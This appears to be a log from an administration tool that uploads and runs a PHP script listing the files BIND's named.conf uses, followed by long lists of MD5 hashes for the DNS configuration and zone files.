MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:19:28: Establishing a connection
2026-04-24 13:19:28: 

PUT: /tmp/pkp128482

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:19:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp128482; rm /tmp/pkp128482'

2026-04-24 13:19:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 14:22:52: Establishing a connection
2026-04-24 14:22:52: 

PUT: /tmp/pkp280804

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 14:22:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp280804; rm /tmp/pkp280804'

2026-04-24 14:22:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
